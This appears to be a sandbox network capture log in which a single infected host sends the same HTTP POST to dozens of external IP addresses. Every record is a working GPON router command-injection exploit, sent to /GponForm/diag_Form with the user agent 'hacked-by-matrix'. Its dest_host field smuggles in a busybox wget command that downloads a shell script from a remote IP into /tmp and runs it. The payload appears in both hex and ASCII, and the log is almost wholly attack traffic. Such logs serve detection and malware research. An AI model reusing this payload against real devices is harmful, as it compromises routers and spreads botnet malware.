Mar 21, 2024 05:17:45.714765072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
570	192.168.2.13	46160	42.248.113.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714797974 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
571	192.168.2.13	58332	5.178.115.236	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714807987 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
572	192.168.2.13	56948	94.238.246.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714833021 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
573	192.168.2.13	45690	212.183.75.104	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714847088 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
574	192.168.2.13	47744	212.203.86.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714899063 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
575	192.168.2.13	42754	2.250.88.212	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714926004 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
576	192.168.2.13	46694	178.17.175.228	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714955091 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
577	192.168.2.13	34686	118.70.70.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714989901 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
578	192.168.2.13	49460	178.32.50.67	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.714999914 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
579	192.168.2.13	58034	210.144.161.232	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715046883 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
580	192.168.2.13	36908	118.121.49.98	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715053082 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
581	192.168.2.13	48164	79.124.62.111	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715053082 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
582	192.168.2.13	49804	94.129.203.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715084076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
583	192.168.2.13	33046	178.120.141.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715091944 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
584	192.168.2.13	50588	212.153.211.79	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715131998 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
585	192.168.2.13	39322	42.75.199.193	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715163946 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
586	192.168.2.13	41466	178.146.113.161	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715167046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
587	192.168.2.13	36722	109.244.48.99	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715203047 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
588	192.168.2.13	33116	94.68.184.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715234041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
589	192.168.2.13	59934	79.205.120.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715279102 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
590	192.168.2.13	37700	79.205.16.82	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715337992 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
591	192.168.2.13	49432	178.227.17.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715368032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
592	192.168.2.13	34752	210.183.202.243	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715383053 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
593	192.168.2.13	49132	118.26.173.199	443

Timestamp	Bytes transferred	Direction	Data
